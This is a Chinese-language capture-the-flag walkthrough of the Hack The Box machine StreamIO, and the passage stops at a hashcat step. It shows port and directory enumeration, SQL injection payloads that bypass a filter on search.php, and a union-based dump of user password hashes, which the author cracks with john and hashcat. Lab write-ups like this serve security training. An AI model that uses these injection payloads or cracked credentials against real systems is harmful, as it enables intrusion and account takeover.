streamIO
靶机为HTB的域渗透靶机StreamIO
信息收集
端口扫描
全端口扫描
┌──(kali㉿kali)-[~/StreamIO]
└─$ sudo nmap -sT -p- --min-rate 5000 10.10.11.158 -oA nmap/ports
# Nmap 7.94SVN scan initiated Wed Dec 18 07:53:53 2024 as: /usr/lib/nmap/nmap -sT -p- --min-rate 5000 -oA nmap/ports 10.10.11.158
Nmap scan report for 10.10.11.158
Host is up (0.080s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
# Nmap done at Wed Dec 18 07:54:20 2024 -- 1 IP address (1 host up) scanned in 26.61 seconds
默认脚本扫描
扫描得到域名watch.streamIO.htb
┌──(kali㉿kali)-[~/StreamIO]
└─$ sudo nmap -sT -sC -sV -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49673,49674 10.10.11.158 -oA nmap/sC
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-18 07:55 EST
Nmap scan report for 10.10.11.158
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-18 19:41:20Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_ http/1.1
|_ssl-date: 2024-12-18T19:42:52+00:00; +6h45m28s from scanner time.
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after: 2022-03-24T07:03:28
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-12-18T19:42:13
|_ start_date: N/A
|_clock-skew: mean: 6h45m27s, deviation: 0s, median: 6h45m27s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.82 seconds
漏洞脚本扫描
┌──(kali㉿kali)-[~/StreamIO]
└─$ sudo nmap -sT --script=vuln -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49673,49674 10.10.11.158 -oA nmap/vuln
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-18 07:55 EST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.11.158
Host is up (0.15s latency).
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
|_ssl-ccs-injection: No reply from server (TIMEOUT)
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
Host script results:
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
Nmap done: 1 IP address (1 host up) scanned in 1090.12 seconds
修改 Hosts 文件
┌──(kali㉿kali)-[~/StreamIO]
└─$ sudo vim /etc/hosts
┌──(kali㉿kali)-[~/StreamIO]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.158 watch.streamIO.htb
10.10.11.158 streamIO.htb
子域名枚举
仅有watch这个子域名
┌──(kali㉿kali)-[~/StreamIO]
└─$ sudo gobuster vhost -u https://streamio.htb/ --domain streamio.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -k -r -t 100
[sudo] password for kali:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://streamio.htb/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: watch.streamio.htb Status: 200 [Size: 2829]
Found: xn--nckxa3g7cq2b5304djmxc-biz.streamio.htb Status: 400 [Size: 334]
Found: xn--cckcdp5nyc8g2837ahhi954c-jp.streamio.htb Status: 400 [Size: 334]
Found: xn--7ck2d4a8083aybt3yv-com.streamio.htb Status: 400 [Size: 334]
Found: xn--u9jxfma8gra4a5989bhzh976brkn72bo46f-com.streamio.htb Status: 400 [Size: 334]
Found: xn--y8jvc027l5cav97szrms90clsb-com.streamio.htb Status: 400 [Size: 334]
Found: xn--t8j3b111p8cgqtb3v9a8tm35k-jp.streamio.htb Status: 400 [Size: 334]
Found: xn--new-h93bucszlkray7gqe-jp.streamio.htb Status: 400 [Size: 334]
Found: xn--2-uc7a56k9z0ag5f2zfgq0d-jp.streamio.htb Status: 400 [Size: 334]
Found: xn--68j4bva0f0871b88tc-com.streamio.htb Status: 400 [Size: 334]
Found: xn--68jza6c5o5cqhlgz994b-jp.streamio.htb Status: 400 [Size: 334]
Found: xn--u9j5h1btf1e9236atkap9eil-jp.streamio.htb Status: 400 [Size: 334]
Found: xn--zck3adi4kpbxc7d2131c5g2au9css5o-jp.streamio.htb Status: 400 [Size: 334]
Found: xn--u9j5h1btf1en15qnfb9z6hxg3a-jp.streamio.htb Status: 400 [Size: 334]
Found: xn--54qq0q0en86ikgxilmjza-biz.streamio.htb Status: 400 [Size: 334]
Found: xn--qckr4fj9ii2a7e-jp.streamio.htb Status: 400 [Size: 334]
SMB 信息收集（139/445）
开了SMB服务，先用smbmap查看SMB的信息，发现无果
┌──(kali㉿kali)-[~/StreamIO]
└─$ smbmap -H 10.10.11.158
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[*] Closed 1 connections
用smbclient登录也被拒绝
┌──(kali㉿kali)-[~/StreamIO]
└─$ smbclient -L 10.10.11.158
Password for [WORKGROUP\kali]:
session setup failed: NT_STATUS_ACCESS_DENIED
Web 信息收集（80）
http://streamio.htb看起来是IIS的默认页，http://watch.streamio.htb也是相同的默认页 没什么其他的信息了，暂且搁置
Web 信息收集（443）
访问https://streamio.htb
是一个流媒体网站的介绍页
对https://streamio.htb进行目录扫描
feroxbuster
┌──(kali㉿kali)-[~/StreamIO]
└─$ feroxbuster -u https://streamio.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -k
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ https://streamio.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 2l 10w 151c https://streamio.htb/images => https://streamio.htb/images/
301 GET 2l 10w 147c https://streamio.htb/js => https://streamio.htb/js/
301 GET 2l 10w 150c https://streamio.htb/admin => https://streamio.htb/admin/
301 GET 2l 10w 148c https://streamio.htb/css => https://streamio.htb/css/
200 GET 101l 173w 1663c https://streamio.htb/css/responsive.css
200 GET 913l 5479w 420833c https://streamio.htb/images/about-img.png
200 GET 192l 1006w 82931c https://streamio.htb/images/icon.png
200 GET 206l 430w 6434c https://streamio.htb/contact.php
200 GET 5l 374w 21257c https://streamio.htb/js/popper.min.js
200 GET 2l 1276w 88145c https://streamio.htb/js/jquery-3.4.1.min.js
200 GET 51l 213w 19329c https://streamio.htb/images/client.jpg
200 GET 367l 1995w 166220c https://streamio.htb/images/contact-img.png
200 GET 111l 269w 4145c https://streamio.htb/login.php
200 GET 395l 915w 13497c https://streamio.htb/index.php
200 GET 863l 1698w 16966c https://streamio.htb/css/style.css
200 GET 231l 571w 7825c https://streamio.htb/about.php
200 GET 395l 915w 13497c https://streamio.htb/
301 GET 2l 10w 157c https://streamio.htb/admin/images => https://streamio.htb/admin/images/
301 GET 2l 10w 153c https://streamio.htb/admin/js => https://streamio.htb/admin/js/
301 GET 2l 10w 154c https://streamio.htb/admin/css => https://streamio.htb/admin/css/
301 GET 2l 10w 150c https://streamio.htb/fonts => https://streamio.htb/fonts/
301 GET 2l 10w 156c https://streamio.htb/admin/fonts => https://streamio.htb/admin/fonts/
404 GET 40l 156w 1888c https://streamio.htb/con
404 GET 40l 156w 1895c https://streamio.htb/images/con
404 GET 40l 156w 1891c https://streamio.htb/js/con
404 GET 40l 156w 1894c https://streamio.htb/admin/con
404 GET 40l 156w 1892c https://streamio.htb/css/con
404 GET 40l 156w 1901c https://streamio.htb/admin/images/con
404 GET 40l 156w 1897c https://streamio.htb/admin/js/con
404 GET 40l 156w 1898c https://streamio.htb/admin/css/con
404 GET 40l 156w 1894c https://streamio.htb/fonts/con
404 GET 40l 156w 1900c https://streamio.htb/admin/fonts/con
404 GET 40l 156w 1888c https://streamio.htb/aux
404 GET 40l 156w 1895c https://streamio.htb/images/aux
404 GET 40l 156w 1891c https://streamio.htb/js/aux
404 GET 40l 156w 1894c https://streamio.htb/admin/aux
404 GET 40l 156w 1892c https://streamio.htb/css/aux
404 GET 40l 156w 1901c https://streamio.htb/admin/images/aux
404 GET 40l 156w 1897c https://streamio.htb/admin/js/aux
404 GET 40l 156w 1898c https://streamio.htb/admin/css/aux
404 GET 40l 156w 1894c https://streamio.htb/fonts/aux
404 GET 40l 156w 1900c https://streamio.htb/admin/fonts/aux
400 GET 6l 26w 324c https://streamio.htb/error%1F_log
400 GET 6l 26w 324c https://streamio.htb/images/error%1F_log
400 GET 6l 26w 324c https://streamio.htb/js/error%1F_log
400 GET 6l 26w 324c https://streamio.htb/admin/error%1F_log
400 GET 6l 26w 324c https://streamio.htb/css/error%1F_log
400 GET 6l 26w 324c https://streamio.htb/admin/images/error%1F_log
400 GET 6l 26w 324c https://streamio.htb/admin/js/error%1F_log
400 GET 6l 26w 324c https://streamio.htb/admin/css/error%1F_log
400 GET 6l 26w 324c https://streamio.htb/fonts/error%1F_log
400 GET 6l 26w 324c https://streamio.htb/admin/fonts/error%1F_log
404 GET 40l 156w 1888c https://streamio.htb/prn
404 GET 40l 156w 1895c https://streamio.htb/images/prn
404 GET 40l 156w 1891c https://streamio.htb/js/prn
404 GET 40l 156w 1894c https://streamio.htb/admin/prn
404 GET 40l 156w 1892c https://streamio.htb/css/prn
404 GET 40l 156w 1901c https://streamio.htb/admin/images/prn
404 GET 40l 156w 1897c https://streamio.htb/admin/js/prn
404 GET 40l 156w 1898c https://streamio.htb/admin/css/prn
404 GET 40l 156w 1894c https://streamio.htb/fonts/prn
404 GET 40l 156w 1900c https://streamio.htb/admin/fonts/prn
[####################] - 5m 265881/265881 0s found:62 errors:0
[####################] - 5m 26584/26584 94/s https://streamio.htb/
[####################] - 5m 26584/26584 94/s https://streamio.htb/images/
[####################] - 5m 26584/26584 94/s https://streamio.htb/js/
[####################] - 5m 26584/26584 94/s https://streamio.htb/admin/
[####################] - 5m 26584/26584 94/s https://streamio.htb/css/
[####################] - 5m 26584/26584 94/s https://streamio.htb/admin/images/
[####################] - 5m 26584/26584 94/s https://streamio.htb/admin/js/
[####################] - 5m 26584/26584 94/s https://streamio.htb/admin/css/
[####################] - 5m 26584/26584 94/s https://streamio.htb/fonts/
[####################] - 5m 26584/26584 94/s https://streamio.htb/admin/fonts/
gobuster
┌──(kali㉿kali)-[~/StreamIO]
└─$ sudo gobuster dir -u https://streamio.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .txt,.html,.php -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://streamio.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 151] [--> https://streamio.htb/images/]
/index.php (Status: 200) [Size: 13497]
/contact.php (Status: 200) [Size: 6434]
/about.php (Status: 200) [Size: 7825]
/login.php (Status: 200) [Size: 4145]
/register.php (Status: 200) [Size: 4500]
/Images (Status: 301) [Size: 151] [--> https://streamio.htb/Images/]
/admin (Status: 301) [Size: 150] [--> https://streamio.htb/admin/]
/css (Status: 301) [Size: 148] [--> https://streamio.htb/css/]
/Contact.php (Status: 200) [Size: 6434]
/About.php (Status: 200) [Size: 7825]
/Index.php (Status: 200) [Size: 13497]
/Login.php (Status: 200) [Size: 4145]
/js (Status: 301) [Size: 147] [--> https://streamio.htb/js/]
/logout.php (Status: 302) [Size: 0] [--> https://streamio.htb/]
/Register.php (Status: 200) [Size: 4500]
/fonts (Status: 301) [Size: 150] [--> https://streamio.htb/fonts/]
/IMAGES (Status: 301) [Size: 151] [--> https://streamio.htb/IMAGES/]
^C
[!] Keyboard interrupt detected, terminating.
Progress: 14710 / 882244 (1.67%)
===============================================================
Finished
===============================================================
发现about.php和login.php还有一个admin目录但是被forbidden了 在about.php得到三个用户名
做一个用户名的字典
┌──(kali㉿kali)-[~/StreamIO]
└─$ cat users.txt
Barry
Oliver
Samantha
admin
有一个登录框，尝试了几组简单的弱口令和脏sql，都是失败
发现有注册的入口，尝试注册
注册一个账户lizi:123456
再用新注册的账户尝试登录，还是失败
访问watch.streamIO.htb
似乎提供了一个通过邮件地址进行视频网站订阅的服务
有输入框可以输入邮件地址
对他进行目录扫描
feroxbuster
┌──(kali㉿kali)-[~/StreamIO]
└─$ sudo feroxbuster -u https://watch.streamio.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -x txt,php,html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ https://watch.streamio.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [txt, php, html]
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 72l 112w 875c https://watch.streamio.htb/static/css/index.css
200 GET 136l 295w 22042c https://watch.streamio.htb/static/logo.png
200 GET 78l 245w 2829c https://watch.streamio.htb/index.php
200 GET 192l 1006w 82931c https://watch.streamio.htb/static/icon.png
200 GET 78l 245w 2829c https://watch.streamio.htb/
200 GET 25l 34w 247c https://watch.streamio.htb/static/css/search.css
200 GET 10837l 20418w 195704c https://watch.streamio.htb/static/css/bootstrap.css
200 GET 7193l 19558w 253905c https://watch.streamio.htb/search.php
403 GET 29l 92w 1233c https://watch.streamio.htb/static/css/
403 GET 29l 92w 1233c https://watch.streamio.htb/static/
301 GET 2l 10w 157c https://watch.streamio.htb/static => https://watch.streamio.htb/static/
200 GET 7193l 19558w 253905c https://watch.streamio.htb/Search.php
301 GET 2l 10w 161c https://watch.streamio.htb/static/css => https://watch.streamio.htb/static/css/
200 GET 78l 245w 2829c https://watch.streamio.htb/Index.php
301 GET 2l 10w 160c https://watch.streamio.htb/static/js => https://watch.streamio.htb/static/js/
404 GET 40l 156w 1885c https://watch.streamio.htb/%20
404 GET 40l 156w 1896c https://watch.streamio.htb/static/css/%20
404 GET 40l 156w 1892c https://watch.streamio.htb/static/%20
404 GET 40l 156w 1895c https://watch.streamio.htb/static/js/%20
200 GET 78l 245w 2829c https://watch.streamio.htb/INDEX.php
400 GET 80l 276w 3420c https://watch.streamio.htb/*checkout*
400 GET 80l 276w 3420c https://watch.streamio.htb/static/css/*checkout*
400 GET 80l 276w 3420c https://watch.streamio.htb/static/*checkout*
400 GET 80l 276w 3420c https://watch.streamio.htb/static/js/*checkout*
301 GET 2l 10w 161c https://watch.streamio.htb/static/CSS => https://watch.streamio.htb/static/CSS/
301 GET 2l 10w 160c https://watch.streamio.htb/static/JS => https://watch.streamio.htb/static/JS/
404 GET 40l 156w 1896c https://watch.streamio.htb/static/CSS/%20
404 GET 40l 156w 1895c https://watch.streamio.htb/static/JS/%20
[#>------------------] - 4m 292215/5293220 69m found:28 errors:0
🚨 Caught ctrl+c 🚨 saving scan state to ferox-https_watch_streamio_htb-1734588842.state ...
[#>------------------] - 4m 292246/5293220 69m found:28 errors:0
[#>------------------] - 4m 61408/882184 244/s https://watch.streamio.htb/
[#>------------------] - 4m 61008/882184 243/s https://watch.streamio.htb/static/css/
[#>------------------] - 4m 61000/882184 243/s https://watch.streamio.htb/static/
[#>------------------] - 4m 57044/882184 236/s https://watch.streamio.htb/static/js/
[>-------------------] - 2m 26856/882184 189/s https://watch.streamio.htb/static/CSS/
[>-------------------] - 2m 24200/882184 186/s https://watch.streamio.htb/static/JS/
gobuster
┌──(kali㉿kali)-[~/StreamIO]
└─$ sudo gobuster dir -u https://watch.streamio.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -x .txt,.html,.php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://watch.streamio.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 2829]
/search.php (Status: 200) [Size: 253887]
/static (Status: 301) [Size: 157] [--> https://watch.streamio.htb/static/]
/Search.php (Status: 200) [Size: 253887]
/Index.php (Status: 200) [Size: 2829]
/INDEX.php (Status: 200) [Size: 2829]
/*checkout* (Status: 400) [Size: 3420]
/*docroot* (Status: 400) [Size: 3420]
/* (Status: 400) [Size: 3420]
/blocked.php (Status: 200) [Size: 677]
/SEARCH.php (Status: 200) [Size: 253887]
/http%3A%2F%2Fwww (Status: 400) [Size: 3420]
/Static (Status: 301) [Size: 157] [--> https://watch.streamio.htb/Static/]
/http%3A (Status: 400) [Size: 3420]
/q%26a (Status: 400) [Size: 3420]
/**http%3a (Status: 400) [Size: 3420]
/*http%3A (Status: 400) [Size: 3420]
/**http%3A (Status: 400) [Size: 3420]
/http%3A%2F%2Fyoutube (Status: 400) [Size: 3420]
/http%3A%2F%2Fblogs (Status: 400) [Size: 3420]
/http%3A%2F%2Fblog (Status: 400) [Size: 3420]
/**http%3A%2F%2Fwww (Status: 400) [Size: 3420]
/s%26p (Status: 400) [Size: 3420]
Progress: 387633 / 882244 (43.94%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 387692 / 882244 (43.94%)
===============================================================
Finished
===============================================================
漏洞利用
SQL 注入获取用户凭据
发现存在search.php
存在搜索框，尝试一些脏sql
尝试’ or 1=1 – -被拦截，可能存在WAF
测了几组数据，发现or应该是被过滤的
使用payload day’ and 1=1 – - 可以成功绕过
在尝试lizi’ union select 1,2,3,4,5,6; – -出现回显结果
查询所有数据库
查询streamio数据库的所有表 lizi’ union select 1,name,3,4,5,6 from databases.sys.tables; – -
查询所有列
lizi’ UNION SELECT 1, name, 3, 4, 5, 6 FROM sys.columns WHERE object_id = OBJECT_ID(‘users’); – -
查询users表中的数据
得到admin的密码哈希665a50ac9eaa781e4f7f04199db97a11，应该是md5，进行解密
┌──(kali㉿kali)-[~/StreamIO]
└─$ sudo john --format=raw-MD5 hash --wordlist=/usr/share/wordlists/rockyou.txt
[sudo] password for kali:
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=6
Press 'q' or Ctrl-C to abort, almost any other key for status
paddpadd (?)
1g 0:00:00:00 DONE (2024-12-19 02:11) 2.272g/s 10993Kp/s 10993Kc/s 10993KC/s paddybigballs..paddlef
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
得到admin的密码，尝试登录，结果失败了
再看一下其他人的用户名和密码，我们之前得到了网站开发员的名字Oliver，试一下他的密码
或者干脆收集一下所有人的凭据
:d41d8cd98f00b204e9800998ecf8427e
admin :665a50ac9eaa781e4f7f04199db97a11
Alexendra :1c2b3d8270321140e5153f6637d3ee53
Austin :0049ac57646627b8d7aeaccf8b6a936f
Barbra :3961548825e3e21df5646cafe11c6c76
Barry :54c88b2dbd7b1a84012fabc1a4c73415
Baxter :22ee218331afd081b0dcd8115284bae3
Bruno :2a4e2cf22dd8fcb45adcb91be1e22ae8
Carmon :35394484d89fcfdb3c5e447fe749d213
Clara :ef8f3d30a856cf166fb8215aca93e9ff
Diablo :ec33265e5fc8c2f1b0c137bb7b3632b5
Garfield :8097cedd612cc37c29db152b6e9edbd3
Gloria :0cfaaaafb559f081df2befbe66686de0
James :c660060492d9edcaa8332d89c99c9239
Juliette :6dcd87740abb64edfa36d170f0d5450d
Lauren :08344b85b329d7efd611b7a7743e8a09
Lenord :ee0b8a0937abd60c2882eacb2f8dc49f
lizi :e10adc3949ba59abbe56e057f20f883e
Lucifer :7df45a9e3de3863807c026ba48e55fb3
Michelle :b83439b16f844bd6ffe35c02fe21b3c0
Oliver :fd78db29173a5cf701bd69027cb9bf6b
Robert :f03b910e2bd0313a23fdd7575f34a694
Robin :dc332fb5576e9631c9dae83f194f8e70
Sabrina :f87d3c0d6c8fd686aacc6627f1f493a5
Samantha :083ffae904143c4796e464dac33c1f7d
Stan :384463526d288edcc95fc3701e523bc7
Thane :3577c47eb1e12c8ba021611e1280753c
Theodore :925e5408ecb67aea449373d668b7359e
Victor :bf55e15b119860a6e6b5a164377da719
Victoria :b22abb47a02b52d5dfa27fb0b534f693
William :d62be0dc82071bccc1322d64ec5b6c51
yoshihide :b779ba15cedfd22a023c4d8bcf5f2332
使用hashcat进行破解
┌──(kali㉿kali)-[~/StreamIO]
└─$ hashcat hash --wordlist /usr/share/wordlists/rockyou.txt -m 0 --user
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-11400H @ 2.70GHz, 2999/6063 MB (1024 MB allocatable), 6MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashfile 'hash' on line 3 (Alexen...c2b3d8270321140e5153f6637d3ee53 ): Token length exception
* Token length exception: 1/32 hashes
This error happens if the wrong hash type is specified, if the hashes are
malformed, or if input is otherwise not as expected (for example, if the
--username option is used but no username is present)
Hashes: 31 digests; 31 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
e10adc3949ba59abbe56e057f20f883e:123456
d41d8cd98f00b204e9800998ecf8427e:
3577c47eb1e12c8ba021611e1280753c:highschoolmusical
ee0b8a0937abd60c2882eacb2f8dc49f:physics69i
665a50ac9eaa781e4f7f04199db97a11:paddpadd
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
ef8f3d30a856cf166fb8215aca93e9ff:%$clara
2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$
54c88b2dbd7b1a84012fabc1a4c73415:$hadoW
6dcd87740abb64edfa36d170f0d5450d:$3xybitch
08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!
b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123
Approaching final keyspace - workload adjusted.
f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hash
Time.Started.....: Thu Dec 19 02:23:45 2024 (11 secs)
Time.Estimated...: Thu Dec 19 02:23:56 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1355.5 kH/s (0.25ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 14/31 (45.16%) Digests (total), 14/31 (45.16%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[212173657879616e67656c2121] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 50%
Started: Thu Dec 19 02:23:27 2024
Stopped: Thu Dec 19 02:23:57 2024
得到凭据
┌──(kali㉿kali)-[~/StreamIO]
└─$ hashcat hash --wordlist /usr/share/wordlists/rockyou.txt -m 0 --user --show
